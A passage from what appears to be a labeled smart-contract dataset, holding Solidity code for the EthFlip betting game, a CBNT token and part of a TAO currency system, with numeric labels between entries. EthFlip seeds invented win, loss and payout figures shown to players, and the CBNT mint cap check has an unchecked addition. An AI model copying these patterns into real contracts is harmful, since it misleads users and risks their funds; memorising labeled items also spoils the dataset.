if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract EthFlip is usingOraclize {
struct Bet {
bool win;
uint betValue;
uint timestamp;
address playerAddress;
uint randomNumber;
bool low;
}
struct Player {
uint[] betNumbers;
}
struct QueryMap {
uint betValue;
address playerAddress;
bool low;
}
bool private gamePaused;
uint private minBet;
uint private maxBet;
uint private houseFee;
uint private oraclizeGas;
uint private oraclizeGasPrice;
address private owner;
uint private currentQueryId;
uint private currentBetNumber;
uint private totalPayouts;
uint private totalWins;
uint private totalLosses;
bool private win;
uint private randomNumber;
mapping (address => Player) private playerBetNumbers;
mapping (uint => Bet) private pastBets;
mapping (uint => QueryMap) private queryIdMap;
event BetComplete(bool _win, uint _betNumber, uint _betValue, uint _timestamp, address _playerAddress, uint _randomNumber, bool _low);
event GameStatusUpdate(bool _paused);
event MinBetUpdate(uint _newMin);
event MaxBetUpdate(uint _newMax);
event HouseFeeUpdate(uint _newFee);
event OwnerUpdate(address _newOwner);
modifier gameIsActive {
require(!gamePaused);
_;
}
modifier gameIsNotActive {
require(gamePaused);
_;
}
modifier senderIsOwner {
require(msg.sender == owner);
_;
}
modifier senderIsOraclize {
require(msg.sender == oraclize_cbAddress());
_;
}
modifier sentEnoughForBet {
require(msg.value >= minBet);
_;
}
modifier didNotSendOverMaxBet {
require(msg.value <= maxBet);
_;
}
function EthFlip() public {
minBet = 100000000000000000;
maxBet = 500000000000000000;
houseFee = 29;
oraclizeGas = 500000;
oraclizeGasPrice = 3010000000;
oraclize_setCustomGasPrice(oraclizeGasPrice);
oraclize_setProof(proofType_Ledger);
owner = msg.sender;
totalPayouts = 1728380000000000000;
totalWins = 10;
totalLosses = 15;
}
function() public payable {}
function betLow() public payable gameIsActive sentEnoughForBet didNotSendOverMaxBet {
secureGenerateNumber(msg.sender, msg.value, true);
}
function betHigh() public payable gameIsActive sentEnoughForBet didNotSendOverMaxBet {
secureGenerateNumber(msg.sender, msg.value, false);
}
function secureGenerateNumber(address _playerAddress, uint _betValue, bool _low) private {
bytes32 queryId = oraclize_newRandomDSQuery(0, 1, oraclizeGas);
uint convertedId = uint(keccak256(queryId));
newUnprocessedQuery(convertedId, queryId);
queryIdMap[convertedId].betValue = _betValue;
queryIdMap[convertedId].playerAddress = _playerAddress;
queryIdMap[convertedId].low = _low;
}
function checkIfWon() private {
if (randomNumber != 101) {
if (queryIdMap[currentQueryId].low) {
if (randomNumber < 51) {
win = true;
sendPayout(subtractHouseFee(queryIdMap[currentQueryId].betValue*2));
} else {
win = false;
sendOneWei();
}
} else {
if (randomNumber > 50) {
win = true;
sendPayout(subtractHouseFee(queryIdMap[currentQueryId].betValue*2));
} else {
win = false;
sendOneWei();
}
}
} else {
win = false;
sendRefund();
}
logBet();
}
function sendPayout(uint _amountToPayout) private {
uint payout = _amountToPayout;
_amountToPayout = 0;
queryIdMap[currentQueryId].playerAddress.transfer(payout);
}
function sendOneWei() private {
queryIdMap[currentQueryId].playerAddress.transfer(1);
}
function sendRefund() private {
queryIdMap[currentQueryId].playerAddress.transfer(queryIdMap[currentQueryId].betValue);
}
function subtractHouseFee(uint _amount) view private returns (uint _result) {
return (_amount*(1000-houseFee))/1000;
}
function logBet() private {
currentBetNumber++;
if (win) {
totalWins++;
totalPayouts += subtractHouseFee(queryIdMap[currentQueryId].betValue*2);
} else {
if (randomNumber != 101) {
totalLosses++;
}
}
pastBets[currentBetNumber] = Bet({win:win, betValue:queryIdMap[currentQueryId].betValue, timestamp:block.timestamp, playerAddress:queryIdMap[currentQueryId].playerAddress, randomNumber:randomNumber, low:queryIdMap[currentQueryId].low});
playerBetNumbers[queryIdMap[currentQueryId].playerAddress].betNumbers.push(currentBetNumber);
BetComplete(win, currentBetNumber, queryIdMap[currentQueryId].betValue, block.timestamp, queryIdMap[currentQueryId].playerAddress, randomNumber, queryIdMap[currentQueryId].low);
queryIdMap[currentQueryId].betValue = 0;
}
function getLastBetNumber() constant public returns (uint) {
return currentBetNumber;
}
function getTotalPayouts() constant public returns (uint) {
return totalPayouts;
}
function getTotalWins() constant public returns (uint) {
return totalWins;
}
function getTotalLosses() constant public returns (uint) {
return totalLosses;
}
function getBalance() constant public returns (uint) {
return this.balance;
}
function getGamePaused() constant public returns (bool) {
return gamePaused;
}
function getMinBet() constant public returns (uint) {
return minBet;
}
function getMaxBet() constant public returns (uint) {
return maxBet;
}
function getHouseFee() constant public returns (uint) {
return houseFee;
}
function getOraclizeGas() constant public returns (uint) {
return oraclizeGas;
}
function getOraclizeGasPrice() constant public returns (uint) {
return oraclizeGasPrice;
}
function getOwnerAddress() constant public returns (address) {
return owner;
}
function getPlayerBetNumbers(address _playerAddress) constant public returns (uint[] _betNumbers) {
return (playerBetNumbers[_playerAddress].betNumbers);
}
function getPastBet(uint _betNumber) constant public returns (bool _win, uint _betValue, uint _timestamp, address _playerAddress, uint _randomNumber, bool _low) {
require(currentBetNumber >= _betNumber);
return (pastBets[_betNumber].win, pastBets[_betNumber].betValue, pastBets[_betNumber].timestamp, pastBets[_betNumber].playerAddress, pastBets[_betNumber].randomNumber, pastBets[_betNumber].low);
}
function getUnprocessedQueryList() constant public returns (uint[] _unprocessedQueryList) {
return unprocessedQueryList;
}
function getUnprocessedQueryBytes32(uint _unprocessedQueryHash) constant public returns (bytes32 _unprocessedQueryBytes32) {
return unprocessedQueryBytes32s[_unprocessedQueryHash].unprocessedQueryBytes32;
}
function pauseGame() public senderIsOwner gameIsActive {
gamePaused = true;
GameStatusUpdate(true);
}
function resumeGame() public senderIsOwner gameIsNotActive {
gamePaused = false;
GameStatusUpdate(false);
}
function setMaxBet(uint _newMax) public senderIsOwner gameIsNotActive {
require(_newMax >= 100000000000000000);
maxBet = _newMax;
MaxBetUpdate(_newMax);
}
function setMinBet(uint _newMin) public senderIsOwner gameIsNotActive {
require(_newMin >= 100000000000000000);
minBet = _newMin;
MinBetUpdate(_newMin);
}
function setHouseFee(uint _newFee) public senderIsOwner gameIsNotActive {
require(_newFee <= 100);
houseFee = _newFee;
HouseFeeUpdate(_newFee);
}
function setOraclizeGas(uint _newGas) public senderIsOwner gameIsNotActive {
oraclizeGas = _newGas;
}
function setOraclizeGasPrice(uint _newPrice) public senderIsOwner gameIsNotActive {
oraclizeGasPrice = _newPrice + 10000000;
oraclize_setCustomGasPrice(oraclizeGasPrice);
}
function setOwner(address _newOwner) public senderIsOwner gameIsNotActive {
owner = _newOwner;
OwnerUpdate(_newOwner);
}
function selfDestruct() public senderIsOwner gameIsNotActive {
selfdestruct(owner);
}
struct UnprocessedQueryBytes32 {
bytes32 unprocessedQueryBytes32;
uint listPointer;
}
mapping(uint => UnprocessedQueryBytes32) public unprocessedQueryBytes32s;
uint[] public unprocessedQueryList;
function isUnprocessedQuery(uint unprocessedQueryUint) private constant returns(bool isIndeed) {
if(unprocessedQueryList.length == 0) return false;
return (unprocessedQueryList[unprocessedQueryBytes32s[unprocessedQueryUint].listPointer] == unprocessedQueryUint);
}
function getUnprocessedQueryCount() private constant returns(uint unprocessedQueryCount) {
return unprocessedQueryList.length;
}
function newUnprocessedQuery(uint unprocessedQueryUint, bytes32 unprocessedQueryBytes32) private {
if(isUnprocessedQuery(unprocessedQueryUint)) throw;
unprocessedQueryBytes32s[unprocessedQueryUint].unprocessedQueryBytes32 = unprocessedQueryBytes32;
unprocessedQueryBytes32s[unprocessedQueryUint].listPointer = unprocessedQueryList.push(unprocessedQueryUint) - 1;
}
function deleteUnprocessedQuery(uint unprocessedQueryUint) private {
if(!isUnprocessedQuery(unprocessedQueryUint)) throw;
uint rowToDelete = unprocessedQueryBytes32s[unprocessedQueryUint].listPointer;
uint keyToMove = unprocessedQueryList[unprocessedQueryList.length-1];
unprocessedQueryList[rowToDelete] = keyToMove;
unprocessedQueryBytes32s[keyToMove].listPointer = rowToDelete;
unprocessedQueryList.length--;
}
function __callback(bytes32 _queryId, string _result, bytes _proof) public senderIsOraclize {
currentQueryId = uint(keccak256(_queryId));
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) == 0) {
randomNumber = (uint(keccak256(_result)) % 100) + 1;
} else {
randomNumber = 101;
}
if (queryIdMap[currentQueryId].betValue != 0) {
deleteUnprocessedQuery(currentQueryId);
checkIfWon();
}
}
} | 0 | 1,559 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract RBACOperator is Ownable, RBAC{
string public constant ROLE_OPERATOR = "operator";
modifier hasOperationPermission() {
checkRole(msg.sender, ROLE_OPERATOR);
_;
}
function addOperater(address _operator) public onlyOwner {
addRole(_operator, ROLE_OPERATOR);
}
function removeOperater(address _operator) public onlyOwner {
removeRole(_operator, ROLE_OPERATOR);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract RBACMintableToken is MintableToken, RBAC {
string public constant ROLE_MINTER = "minter";
modifier hasMintPermission() {
checkRole(msg.sender, ROLE_MINTER);
_;
}
function addMinter(address _minter) public onlyOwner {
addRole(_minter, ROLE_MINTER);
}
function removeMinter(address _minter) public onlyOwner {
removeRole(_minter, ROLE_MINTER);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract Cbnt is RBACMintableToken, PausableToken {
string public constant version = "1.1";
string public constant name = "Create Breaking News Together";
string public constant symbol = "CBNT";
uint8 public constant decimals = 18;
uint256 public constant MAX_AMOUNT = 10000000000000000000000000000;
event Burn(address indexed burner, uint256 value);
function mintToAddresses(address[] _addresses, uint256 _amount) public hasMintPermission canMint returns (bool){
for (uint i = 0; i < _addresses.length; i++) {
mint(_addresses[i],_amount);
}
return true;
}
function mintToAddressesAndAmounts(address[] _addresses, uint256[] _amounts) public hasMintPermission canMint returns (bool){
require(_addresses.length == _amounts.length);
for (uint i = 0; i < _addresses.length; i++) {
mint(_addresses[i],_amounts[i]);
}
return true;
}
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require((_amount+totalSupply_) <= MAX_AMOUNT && _to != address(0));
return super.mint(_to,_amount);
}
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
} | 1 | 2,728 |
pragma solidity >=0.5.4 <0.6.0;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; }
contract TheAO {
address public theAO;
address public nameTAOPositionAddress;
mapping (address => bool) public whitelist;
constructor() public {
theAO = msg.sender;
}
modifier inWhitelist() {
require (whitelist[msg.sender] == true);
_;
}
function transferOwnership(address _theAO) public {
require (msg.sender == theAO);
require (_theAO != address(0));
theAO = _theAO;
}
function setWhitelist(address _account, bool _whitelist) public {
require (msg.sender == theAO);
require (_account != address(0));
whitelist[_account] = _whitelist;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface INameTAOPosition {
function senderIsAdvocate(address _sender, address _id) external view returns (bool);
function senderIsListener(address _sender, address _id) external view returns (bool);
function senderIsSpeaker(address _sender, address _id) external view returns (bool);
function senderIsPosition(address _sender, address _id) external view returns (bool);
function getAdvocate(address _id) external view returns (address);
function nameIsAdvocate(address _nameId, address _id) external view returns (bool);
function nameIsPosition(address _nameId, address _id) external view returns (bool);
function initialize(address _id, address _advocateId, address _listenerId, address _speakerId) external returns (bool);
function determinePosition(address _sender, address _id) external view returns (uint256);
}
interface INameFactory {
function nonces(address _nameId) external view returns (uint256);
function incrementNonce(address _nameId) external returns (uint256);
function ethAddressToNameId(address _ethAddress) external view returns (address);
function setNameNewAddress(address _id, address _newAddress) external returns (bool);
function nameIdToEthAddress(address _nameId) external view returns (address);
}
interface ITAOCurrencyTreasury {
function toBase(uint256 integerAmount, uint256 fractionAmount, bytes8 denominationName) external view returns (uint256);
function isDenominationExist(bytes8 denominationName) external view returns (bool);
}
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor (uint256 initialSupply, string memory tokenName, string memory tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
}
contract TAO {
using SafeMath for uint256;
address public vaultAddress;
string public name;
address public originId;
string public datHash;
string public database;
string public keyValue;
bytes32 public contentId;
uint8 public typeId;
constructor (string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _vaultAddress
) public {
name = _name;
originId = _originId;
datHash = _datHash;
database = _database;
keyValue = _keyValue;
contentId = _contentId;
typeId = 0;
vaultAddress = _vaultAddress;
}
modifier onlyVault {
require (msg.sender == vaultAddress);
_;
}
function () external payable {
}
function transferEth(address payable _recipient, uint256 _amount) public onlyVault returns (bool) {
_recipient.transfer(_amount);
return true;
}
function transferERC20(address _erc20TokenAddress, address _recipient, uint256 _amount) public onlyVault returns (bool) {
TokenERC20 _erc20 = TokenERC20(_erc20TokenAddress);
_erc20.transfer(_recipient, _amount);
return true;
}
}
contract Name is TAO {
constructor (string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _vaultAddress)
TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public {
typeId = 1;
}
}
library AOLibrary {
using SafeMath for uint256;
uint256 constant private _MULTIPLIER_DIVISOR = 10 ** 6;
uint256 constant private _PERCENTAGE_DIVISOR = 10 ** 6;
function isTAO(address _taoId) public view returns (bool) {
return (_taoId != address(0) && bytes(TAO(address(uint160(_taoId))).name()).length > 0 && TAO(address(uint160(_taoId))).originId() != address(0) && TAO(address(uint160(_taoId))).typeId() == 0);
}
function isName(address _nameId) public view returns (bool) {
return (_nameId != address(0) && bytes(TAO(address(uint160(_nameId))).name()).length > 0 && Name(address(uint160(_nameId))).originId() != address(0) && Name(address(uint160(_nameId))).typeId() == 1);
}
function isValidERC20TokenAddress(address _tokenAddress) public view returns (bool) {
if (_tokenAddress == address(0)) {
return false;
}
TokenERC20 _erc20 = TokenERC20(_tokenAddress);
return (_erc20.totalSupply() >= 0 && bytes(_erc20.name()).length > 0 && bytes(_erc20.symbol()).length > 0);
}
function isTheAO(address _sender, address _theAO, address _nameTAOPositionAddress) public view returns (bool) {
return (_sender == _theAO ||
(
(isTAO(_theAO) || isName(_theAO)) &&
_nameTAOPositionAddress != address(0) &&
INameTAOPosition(_nameTAOPositionAddress).senderIsAdvocate(_sender, _theAO)
)
);
}
function PERCENTAGE_DIVISOR() public pure returns (uint256) {
return _PERCENTAGE_DIVISOR;
}
function MULTIPLIER_DIVISOR() public pure returns (uint256) {
return _MULTIPLIER_DIVISOR;
}
function deployTAO(string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _nameTAOVaultAddress
) public returns (TAO _tao) {
_tao = new TAO(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);
}
function deployName(string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _nameTAOVaultAddress
) public returns (Name _myName) {
_myName = new Name(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);
}
function calculateWeightedMultiplier(uint256 _currentWeightedMultiplier, uint256 _currentPrimordialBalance, uint256 _additionalWeightedMultiplier, uint256 _additionalPrimordialAmount) public pure returns (uint256) {
if (_currentWeightedMultiplier > 0) {
uint256 _totalWeightedIons = (_currentWeightedMultiplier.mul(_currentPrimordialBalance)).add(_additionalWeightedMultiplier.mul(_additionalPrimordialAmount));
uint256 _totalIons = _currentPrimordialBalance.add(_additionalPrimordialAmount);
return _totalWeightedIons.div(_totalIons);
} else {
return _additionalWeightedMultiplier;
}
}
function calculatePrimordialMultiplier(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
uint256 multiplier = (_MULTIPLIER_DIVISOR.sub(_MULTIPLIER_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier));
return multiplier.div(_MULTIPLIER_DIVISOR);
} else {
return 0;
}
}
function calculateNetworkBonusPercentage(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
uint256 bonusPercentage = (_PERCENTAGE_DIVISOR.sub(_PERCENTAGE_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier)).div(_PERCENTAGE_DIVISOR);
return bonusPercentage;
} else {
return 0;
}
}
function calculateNetworkBonusAmount(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
uint256 bonusPercentage = calculateNetworkBonusPercentage(_purchaseAmount, _totalPrimordialMintable, _totalPrimordialMinted, _startingMultiplier, _endingMultiplier);
uint256 networkBonus = bonusPercentage.mul(_purchaseAmount).div(_PERCENTAGE_DIVISOR);
return networkBonus;
}
function calculateMaximumBurnAmount(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _maximumMultiplier) public pure returns (uint256) {
return (_maximumMultiplier.mul(_primordialBalance).sub(_primordialBalance.mul(_currentWeightedMultiplier))).div(_maximumMultiplier);
}
function calculateMultiplierAfterBurn(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToBurn) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.sub(_amountToBurn));
}
function calculateMultiplierAfterConversion(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToConvert) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.add(_amountToConvert));
}
function numDigits(uint256 number) public pure returns (uint8) {
uint8 digits = 0;
while(number != 0) {
number = number.div(10);
digits++;
}
return digits;
}
}
contract TAOCurrency is TheAO {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public powerOfTen;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
constructor (string memory _name, string memory _symbol, address _nameTAOPositionAddress) public {
name = _name;
symbol = _symbol;
powerOfTen = 0;
decimals = 0;
setNameTAOPositionAddress(_nameTAOPositionAddress);
}
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
modifier isNameOrTAO(address _id) {
require (AOLibrary.isName(_id) || AOLibrary.isTAO(_id));
_;
}
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
function transferFrom(address _from, address _to, uint256 _value) public inWhitelist isNameOrTAO(_from) isNameOrTAO(_to) returns (bool) {
_transfer(_from, _to, _value);
return true;
}
function mint(address target, uint256 mintedAmount) public inWhitelist isNameOrTAO(target) returns (bool) {
_mint(target, mintedAmount);
return true;
}
function whitelistBurnFrom(address _from, uint256 _value) public inWhitelist isNameOrTAO(_from) returns (bool success) {
require(balanceOf[_from] >= _value);
balanceOf[_from] = balanceOf[_from].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_from, _value);
return true;
}
function _transfer(address _from, address _to, uint256 _value) internal {
require (_to != address(0));
require (balanceOf[_from] >= _value);
require (balanceOf[_to].add(_value) >= balanceOf[_to]);
uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
